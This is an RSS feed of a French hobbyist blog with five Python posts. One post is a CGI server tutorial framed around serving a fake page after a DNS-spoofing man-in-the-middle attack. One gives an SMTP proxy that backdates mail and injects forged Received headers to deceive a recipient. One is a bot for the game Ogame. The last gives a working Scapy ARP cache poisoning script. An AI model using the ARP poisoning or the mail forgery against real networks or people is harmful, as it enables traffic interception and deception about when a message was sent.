Le Blog du grand loup Zeur » python http://blog.gaetan-grigis.eu Le blog qui vous fait connaitre ce que vous savez déjà Sun, 25 Jul 2010 20:48:03 +0000 en hourly 1 http://wordpress.org/?v=3.0.1 monter un serveur PHP en une ligne de commande (ou presque) http://blog.gaetan-grigis.eu/systeme/monter-un-serveur-php-en-une-ligne-de-commande-ou-presque/ http://blog.gaetan-grigis.eu/systeme/monter-un-serveur-php-en-une-ligne-de-commande-ou-presque/#comments Sat, 24 Apr 2010 09:45:22 +0000 Gaëtan http://blog.gaetan-grigis.eu/?p=795 Dans le genre « news de webg33k » en voici une …

A la base, je cherchais à utiliser/écrire un serveur http en python (pas mal de classes existent dans le domaine) pour servir une page html bidon après un man in the middle avec redirection dnspoof sur le serveur http en question, au lieu de déployer l’artillerie lourde apache ou nginx.

Après diverses recherche sur mon ami, je suis tombé sur : créer un serveur http en 10 secondes …

  1. sudo python -m SimpleHTTPServer 80

Créant ainsi un serveur http accessible sur : http://127.0.0.1/). Mais cette technique ne fournit que des fichiers statiques (ok c’est déjà pas mal … et c’est plus où moins ce que je cherchais).

Mais en lisant la doc, on peut trouver un « CGIHTTPServer », c’est un serveur qui peut exécuter des scripts (python, perl, php, sh, …) et l’utilisation est similaire :

  1. python -m CGIHTTPServer 8080

qui créera un serveur HTTP sur le dossier courant avec la possibilité d’éxecuter des scripts (EN CLI = ligne de commande) sur le port 8080 (accessible sur http://127.0.0.1:8080/).

ATTENTION, il ne faut pas executer le serveur avec un sudo (pour utiliser le port 80), car sinon, les scripts seront executés en root, ainsi pour le script php suivant (à mettre dans un dossier nommé « cgi-bin » dans le dossier courant d’éxecution de la commande, et faire un chmod +x et nécessite l’installation du paquet php-cli) :

  1. #!/usr/bin/php
  2. <?php
  3. echo "";//pour signaler la fin des headers
  4. echo phpinfo();


 
On remarque bien que le script a les droits root … donc à EVITER.

Il faut donc l’executer sur le port un port supérieur à 1024 (pour ne pas utiliser les droits root : 8080 est le port le plus courant dans ce genre de cas), puis effectuer une redirection de port via iptables qui permettra ici d’accéder au port 8080 du serveur en faisant une requête sur le port 80 :

  1. sudo iptables -t nat -A PREROUTING -p tcp –dport 80 -j REDIRECT –to-ports 8080

(ne fonctionne pas pour l’adresse de loopback 127.0.0.1).

Si vous voulez exécuter d’autre type de script : sh, python, …, il suffit de les mettre dans le dossier cgi-bin et de faire un chmod +x dessus.

En python :

  1. #!/usr/bin/python
  2. print ""
  3. print "les kikoolols attaquent!!!"

En bash :

  1. #!/bin/bash
  2. echo ""
  3. echo "les kikoolols attaquent!!!"

Ne pas oublier le premier print «  » ou echo «  », qui indique la fin des headers HTTP.

Voilà … c’était le post inutile mais indispensable de la semaine ;)

Articles similaires :

Copyright © 2008-2010 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> http://blog.gaetan-grigis.eu/systeme/monter-un-serveur-php-en-une-ligne-de-commande-ou-presque/feed/ 0 Créer son propre service de mail jetable avec appengine http://blog.gaetan-grigis.eu/programmation/creer-son-propre-service-de-mail-jetable-avec-appengine/ http://blog.gaetan-grigis.eu/programmation/creer-son-propre-service-de-mail-jetable-avec-appengine/#comments Sat, 27 Mar 2010 11:45:29 +0000 Gaëtan http://blog.gaetan-grigis.eu/?p=769 Plop à tous
Au détour d’un article de Korben, j’ai découvert les app engine de google, qui permettent de créer des sites/applications web en python et java. Le service est très performant et malgré quelques limites, il permet tout de même un trafic par jour de 1Gb en http et 1Gb en https (avec un certificat valide ;) ).

Le gros problème de ce service : la base de données (pas de join et on a seulement droit à : 10368000 requêtes par jour ^^).

L’API fournit, ainsi que l’environnement de développement est simple à maitriser/mettre en oeuvre. Il me fallait donc un projet plus ou moins (f)utile pour utiliser ce service et le connaitre un peu mieux. L’un des services proposés par les appengine de google est la réception de mail en http. Super utile pour créer des adresses mails à la volée, utilisant depuis quelque temps le service de mail jetable de yopmail, j’ai donc tenté de recréer une partie du service proposé par yopmail en python pour les appengine …

Le but de l’appli est très simple, on crée une adresse mail pour 30 minutes (ou plus), on fournit l’adresse mail générée à la place de notre adresse mail courante et on attend le mail. Une fois l’adresse expirée, les mails reçût seront automatiquement droppés.

Pour tester le service : en http et en https, les adresses mails proposées par le service sont du type : pseudo@mail-jetable.appspotmail.com (ok c’est long, mais il faut au moins ça pour combattre le spam ^^).

Le code source étant un peu plus long que mes scripts habituels, j’ai donc ouvert un dépôt SVN (sur google code évidemment ;) ) pour publier les sources.

Articles similaires :

Copyright © 2008-2010 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> http://blog.gaetan-grigis.eu/programmation/creer-son-propre-service-de-mail-jetable-avec-appengine/feed/ 0 Envoyer des mails dans le passé http://blog.gaetan-grigis.eu/programmation/envoyer-des-mails-dans-le-passe/ http://blog.gaetan-grigis.eu/programmation/envoyer-des-mails-dans-le-passe/#comments Sat, 20 Mar 2010 15:05:34 +0000 Gaëtan http://blog.gaetan-grigis.eu/?p=762 Plop à tous …

Aujourd’hui, une astuce de « gros noob », le but est d’envoyer un mail à une date passée ou future, genre pour le rendu d’un devoir à 23h59m59s alors qu’on vient de le terminer à 2h42 du mat, tout en sachant que le prof ne le lira pas avant 7 ou 8 heures du mat’ … le truc totalement useless quoi, mais souvent on perd des points pour des trucs de ce genre, … (quoi ?? ça vous est jamais arrivé ?? bande de lèche-*** ….)

Les plus futés sauront qu’en modifiant la date de leur machine, on peut fausser les dates d’envoi (genre en reculant la date de deux jours, la plupart des mailers/logiciels de récupération de mails vont afficher le mail comme étant reçu il y a deux jours …).

Mais nous sommes informaticiens, et ce genre de méthode, c’est pour les noobs … nous on va coder un bon gros serveur SMTP pour envoyer des mails dans le temps xD…

En fait en python, ça consiste en 40 lignes de codes … (et encore … c’est crade comme d’hab ;) ).

L’utilisation du script suivant ce fait comme suit :

  1. ./nomDuScript 'adresse serveur smtp du fai' '25' "date d'envoi"

Ou, si l’on veut rajouter des faux headers (histoire d’expliquer le retard du mails, ou rajouter de faux relais …)

  1. ./nomDuScript 'adresse serveur smtp du fai' '25' "date d'envoi" '/chemin/du/fichier contenant/les/headers'

Un fichier d’exemples de (fake) headers à rajouter :

  1. Received: from [1.3.3.7] (helo=lol.kikoo.rox)
  2.       by leskikoolol.attaqu.ent with esmtp id m4573r-573417-00
  3.       for lolmaster@kikoo.rox; Sat, 20 mar 2010 01:02:03 +0000
  4. Received: from kikoo.lol.rox (kikoo.lol.rox [10.3.3.7])
  5.       by lol.kikoo.rox with ESMTP id f7O1Sci1337
  6.       for lolmaster@kikoo.rox; Sat, 20 Mar 2010 00:00:00 +0000

et l’exemple d’utilisation pour le header en question :

  1. ./nomDuScript 127.0.0.1 25 "Fri, 19 Mar 2010 23:59:58 +0000" headers

Qui permettra de faire croire à votre correspondant ici lolmaster@kikoo.rox :

  • que vous avez envoyé votre mail vendredi 19 mars 2010 à 23h59, par votre machine nommée « kikoo.lol.rox » à l’ip 10.3.3.7
  • que le mail a été reçu à minuit par le serveur smtp à l’ip 1.3.3.7 nommé « lol.kikoo.rox »
  • puis, que le mail a été relayé à 01h02 par le serveur smtp nommé « leskikoolol.attaqu.ent »

Ce qui expliquera au correspondant le temps de latence entre l’envoi du mail et sa réception. (Faudra bien sûr changer les infos pour coller à la réalité ^^)

Le script, qui créé un serveur SMTP sur le port 8025 (il faudra configurer votre client mail pour utiliser le serveur SMTP 127.0.0.1 sur le port 8025) :

#!/usr/bin/env python
  1.  
  2. from smtpd import PureProxy
  3. import asyncore
  4. import asynchat
  5. import smtplib
  6. import re
  7. import sys
  8.  
  9. class mySMTP (PureProxy):
  10.     def __init__(self,s,n,d,f=""):
  11.         self.date = d
  12.  self.serv = n
  13.  self.fich = f
  14.         PureProxy.__init__(self,s,None)
  15.  
  16.     def process_message (self, peer, mailfrom, rcpttos, data):
  17.  p = re.compile("Date: .*")
  18.  data = p.sub("Date: "+self.date,data)
  19.  if self.fich !="":
  20.             f = open(self.fich,'r')
  21.      t = f.read(1024)
  22.      f.close()
  23.      data = t + data
  24.      print "Message + header: "+data
  25.  smtpSender = smtplib.SMTP( self.serv[0], self.serv[1] )
  26.  smtpSender.sendmail( mailfrom, rcpttos, data )
  27.  smtpSender.quit()
  28.  return None
  29.  
  30. if __name__ == "__main__":
  31.     if len(sys.argv)<4:
  32.         print "Il manque des arguments : "+sys.argv[0]+" 'serveur smtp','port','date'[, 'fichier header']"
  33.         sys.exit(2)
  34.     if len(sys.argv) == 4:
  35.         serv = mySMTP (("127.0.0.1", 8025), (sys.argv[1],sys.argv[2]),sys.argv[3])
  36.     if len(sys.argv) == 5:
  37.         serv = mySMTP (("127.0.0.1", 8025), (sys.argv[1],sys.argv[2]),sys.argv[3],sys.argv[4])
  38.     try:
  39.         asyncore.loop ()
  40.     except KeyboardInterrupt:
  41.         pass

Amusez-vous bien ;)

Articles similaires :

Copyright © 2008-2010 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> http://blog.gaetan-grigis.eu/programmation/envoyer-des-mails-dans-le-passe/feed/ 0 Mon apprentissage de python avec Ogame ^^ http://blog.gaetan-grigis.eu/programmation/mon-apprentissage-de-python-avec-ogame/ http://blog.gaetan-grigis.eu/programmation/mon-apprentissage-de-python-avec-ogame/#comments Thu, 03 Dec 2009 18:58:51 +0000 Gaëtan http://blog.gaetan-grigis.eu/?p=630 The kikoolol strike back !! Mon deuxième billets de la soirée …pour pas grand chose en fait.

J’ai voulu apprendre le langage python de façon plutôt ludique en créant un bot qui créer des batiments en boucle pour Ogame … rien d’illégal bien entendu ^^.
Dans le code Python qui va suivre, vous pourrez comprendre (ou pas) comment fonctionne :

  • Les requêtes HTTP en python avec des headers à partir de zéro
  • Les Threads pour les opérations en parallèle
  • Les Semaphores, pour éviter des requêtes en parallèle (pas apprécié par Ogame dans certain cas)

Pour l’utiliser, il suffit ensuite d’ajouter au source qui vont suivre :

  1. og = Ogame()
  2. og.setSessionCookie(
  3.  "le contenu du cookie phpsessid de votre univers",
  4.  "le contenu du cookie prssess de votre univers",
  5.  "le contenu du cookie loginC de votre univers",
  6.  "le parametre de l'url &session=…",
  7.  "uniXX.ogame.fr"votre#univers
  8. )
  9. Farmer.buildInChainsPlanets(og,["id planete","id planete"],[[4,1,2,4,1,2,4,1,2,4],[4,1,2,4,1,2,4,1,2,4]])

le premier paramètre de buildInChainsPlanets est l’objet og
le second est un tableau de string contenant l’id des planètes à « farmer »
le troisième est un tableau de tableau contenant les séquences des batiments à construire :
1 pour le metal 2 pour le cristal 3 pour le deuterium 4 pour l’electricite.

Et voilà … lorsque vous aurez conquis une planète rajoutez-là au tableau ainsi que la séquence de batiments que vous voulez, puis laissez tourner le script plusieurs jours (faite gaffe avec les sessions qui risque de changer si vous vous reconnectez avec votre navigateur).

  1. #!/usr/bin/python
  2. # -*- coding:Utf-8 -*-
  3. from threading import Thread
  4. from threading import Semaphore
  5. import random
  6. import httplib
  7. import time
  8. import re
  9.  
  10. class Ogame:
  11.  def __init__(self):
  12.   self.userAgent = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.3a1pre) Gecko/20091021 Ubuntu/9.10 (karmic) Minefield/3.7a1pre"
  13.   self.login     = ""
  14.   self.password  = ""
  15.   self.PHPSessId = ""
  16.   self.prSess    = ""
  17.   self.loginString= ""
  18.   self.session   = ""
  19.   self.urlGame   = ""
  20.   self.univers   = ""
  21.   self.cookie    = ""
  22.   self.referer = ""
  23.  
  24.  def setSessionCookie(self,sessid="",prsess="",loginString="",session="",univers=""):
  25.   self.PHPSessId = sessid
  26.   self.prSess    = prsess
  27.   self.loginString= loginString
  28.   self.session   = session
  29.   self.urlGame   = "/game/index.php?page=overview&session="+session
  30.   self.univers   = univers
  31.   self.cookie    = "PHPSESSID="+self.PHPSessId+";prsess_165647="+self.prSess+";login_165647="+self.loginString+";"
  32.   self.referer = "http://"+self.univers+self.urlGame
  33.  
  34.  def getPlanetResource(self,id):
  35.   op = OgamePlanet(self,id)
  36.   return op.getResource()
  37.  def planetAddBuilding(self,id,batiment):
  38.   op = OgamePlanet(self,id)
  39.   return op.addBuilding(batiment)
  40.  
  41.  
  42. class OgamePlanet:
  43.  def __init__(self,ogame,id):
  44.   self.planetId=id
  45.   self.ogame=ogame
  46.   self.res=""
  47.  def getPlanets(ogame):
  48.   ht = httplib.HTTPConnection(ogame.univers)
  49.   ht.request("GET",ogame.urlGame,{},{"Cookie" :o game.cookie,"User-Agent" :o game.userAgent,"Referer" :o game.referer})
  50.   rq=ht.getresponse()
  51.   data=rq.read()
  52.   ht.close()
  53.   select=re.search("<select[^>]*>([\w\W\n\t\r]*)</select>",data)
  54.   res=re.findall("&cp=([^&]*)&[^>]*>([^<]*)<.*\[([^\]]*)\]",select.group(0))
  55.   return res
  56.  getPlanets = staticmethod(getPlanets)
  57.  def getResource(self):
  58.   reque=self.ogame.urlGame+"&cp="+self.planetId+"&mode=&gid=&messageziel=&re=0"
  59.   ht = httplib.HTTPConnection(self.ogame.univers)
  60.   ht.request("GET",reque,{},{"Cookie":self.ogame.cookie,"User-Agent":self.ogame.userAgent,"Referer":self.ogame.referer})
  61.   self.ogame.referer=reque
  62.   rq=ht.getresponse()
  63.   data=rq.read()
  64.   ht.close()
  65.   table=re.search("<table class='header' id='resources'[^>]*>([\w\W\n\t\r]*?)</table>",data)
  66.   res=re.findall("<font[^>]*>([.0-9]*)</font>",table.group(0))
  67.   self.res=res
  68.   return res
  69.  #1 metal 2 cristal 3 deuterium 4 electricite
  70.  def addBuilding(self, batiment):
  71.   ht = httplib.HTTPConnection(self.ogame.univers)
  72.   url = "/game/index.php?page=b_building&session="+self.ogame.session+"&cp="+self.planetId+"&mode=&gid=&messageziel=&re=0"
  73.   ht.request("GET",url,{},{"Cookie":self.ogame.cookie,"User-Agent":self.ogame.userAgent,"Referer":self.ogame.referer})
  74.   rq=ht.getresponse()
  75.   data = rq.read()
  76.   link=re.search("modus=add&techid="+batiment,data)
  77.   if str(link) == "None":
  78.    ti=re.search("pp='([0-9]+)';",data)
  79.    if(str(ti)!="None"):
  80.     tps = ti.groups(0)
  81.     return – int(tps[0])#just to say that another things is being constructed Need to change farmer
  82.    else:
  83.     return -3#Don't get the url to create building
  84.   ht.close()
  85.   time.sleep(random.randint(1,2))
  86.   reque="/game/index.php?page=b_building&session="+self.ogame.session+"&modus=add&techid="+batiment+"&planet="+self.planetId
  87.   ht.request("GET",reque,{},{"Cookie":self.ogame.cookie,"User-Agent":self.ogame.userAgent,"Referer":url})
  88.   self.ogame.referer=reque
  89.   rq=ht.getresponse()
  90.   data=rq.read()
  91.   ht.close()
  92.   link=re.search("modus=add&techid="+batiment,data)
  93.   if str(link) == "None":#no link so it's OK
  94.    ti=re.search("pp='([0-9]+)';",data)
  95.    if(str(ti)!="None"):
  96.     tps = ti.groups(0)
  97.     return tps[0]
  98.    else:
  99.     return -1
  100.   else:
  101.    return -2
  102.  
  103. #Farming function …
  104. class Farmer(Thread):
  105.  
  106.  def __init__(self,og,planet,batiments):
  107.   Thread.__init__(self)
  108.   self.og = og
  109.   self.planet = planet
  110.   self.batiments = batiments
  111.  
  112.  def run(self):
  113.   for batiment in self.batiments:
  114.    self.sec=-1
  115.    print "On contruit un batiment : "+str(batiment)+" sur : "+self.planet
  116.    while(self.sec<0):
  117.     self.sec = self.og.planetAddBuilding(self.planet,str(batiment))
  118.     if self.sec<0 and self.sec>-4:
  119.      addTime=360 + random.randint(10,120)
  120.      print "Ajout d'un temps additionnel de "+str(addTime)+" sec(s) avant le prochain batiment"
  121.      time.sleep(addTime)
  122.     elif self.sec<-4:
  123.      print "Un batiment est déjà en construction pour encore "+str(-self.sec)+" sec(s)"
  124.      time.sleep(-self.sec)
  125.     else:
  126.      print "On va attendre "+str(self.sec)+" secondes avant le prochain batiment"
  127.      time.sleep(float(self.sec)+2)
  128.    
  129.  def buildInChainsPlanets(og,planets,batiments):
  130.   list=[]
  131.   #maxCon = 1 default 1 ^^
  132.   pool_sema = Semaphore()
  133.    
  134.   for index,planet in enumerate(planets):
  135.    pool_sema.acquire()
  136.    tmp = Farmer(og,planet,batiments[index])
  137.    list.append(tmp)
  138.    tmp.start()
  139.    time.sleep(random.randint(2,5))
  140.    pool_sema.release()
  141.   for l in list:
  142.    l.join()
  143.  buildInChainsPlanets = staticmethod(buildInChainsPlanets)

Articles similaires :

Copyright © 2008-2010 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> http://blog.gaetan-grigis.eu/programmation/mon-apprentissage-de-python-avec-ogame/feed/ 0 Scapy pour forger des paquets en python http://blog.gaetan-grigis.eu/programmation/scapy-pour-forger-des-paquets-en-python/ http://blog.gaetan-grigis.eu/programmation/scapy-pour-forger-des-paquets-en-python/#comments Sun, 06 Sep 2009 11:14:30 +0000 Gaëtan http://blog.gaetan-grigis.eu/?p=548 Bijour à tous …

Aujourd’hui un truc super sympa : scapy, c’est un forgeur de paquet multi protocole (ARP, TCP, UDP, …) qui permet d’envoyer/receptionner des paquets depuis la couche OSI 2 (Liaison), mais aussi depuis des couches supérieur (y’a aussi d’autres trucs possible comme la lecture de fichier pcap pour réinjecter des trames sur le reseau depuis un dump et …).

Le truc intéressant, c’est qu’il peut remplacer pas mal d’autres outils (hping, arpspoof, tcpdump, tethereal, …) et tout ça en quelques lignes de python (sale bête).

Pour l’utiliser, il n’y a pas grand chose à faire : apt-get install python-scapy

Et ensuite on code son petit soft (on peut bien sûr en chercher sur le net, mais ça supprime une partie du plaisir …).

Par exemple, pour créer un outils d’arp cache poisonning pour du MITM (genre en remplacement de arpspoof ou …) :

#! /usr/bin/env python
  1. from scapy.all import *
  2. import sys
  3. if len(sys.argv) != 3:
  4.         print "Usage: %s ip1 ip2" % sys.argv[0]
  5.         sys.exit(1)
  6.  
  7. def arppoiso(routeur,pigeon):
  8.         mac = getmacbyip(routeur)
  9.         p = Ether(dst=mac) /ARP(op="is-at",psrc=pigeon, pdst=routeur)
  10.         sendp(p, iface_hint=routeur)
  11.  
  12. arppoiso(sys.argv[1],sys.argv[2])
  13. arppoiso(sys.argv[2],sys.argv[1])

Le code n’est pas très propre (c’est mon premier programme en python … la honte :p). L’utilisation est vraiment très simple : il suffit de connaitre le protocole qu’on utilise pour forger son paquet et ici empoisonner le routeur et la cible (le pigeon comme d’hab) pour faire rediriger tout les paquets vers son pc, (ne pas oublier le forwarding ;) ).

Bien sûr mon programme n’est pas très propre (j’ai lu de meilleurs implémentations de la chose, mais je voulais faire simple).

De très bon liens sur le sujet (pour comprendre différents protocoles et intéragir avec c’est super intéressant) :

Articles similaires :

Copyright © 2008-2010 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> http://blog.gaetan-grigis.eu/programmation/scapy-pour-forger-des-paquets-en-python/feed/ 0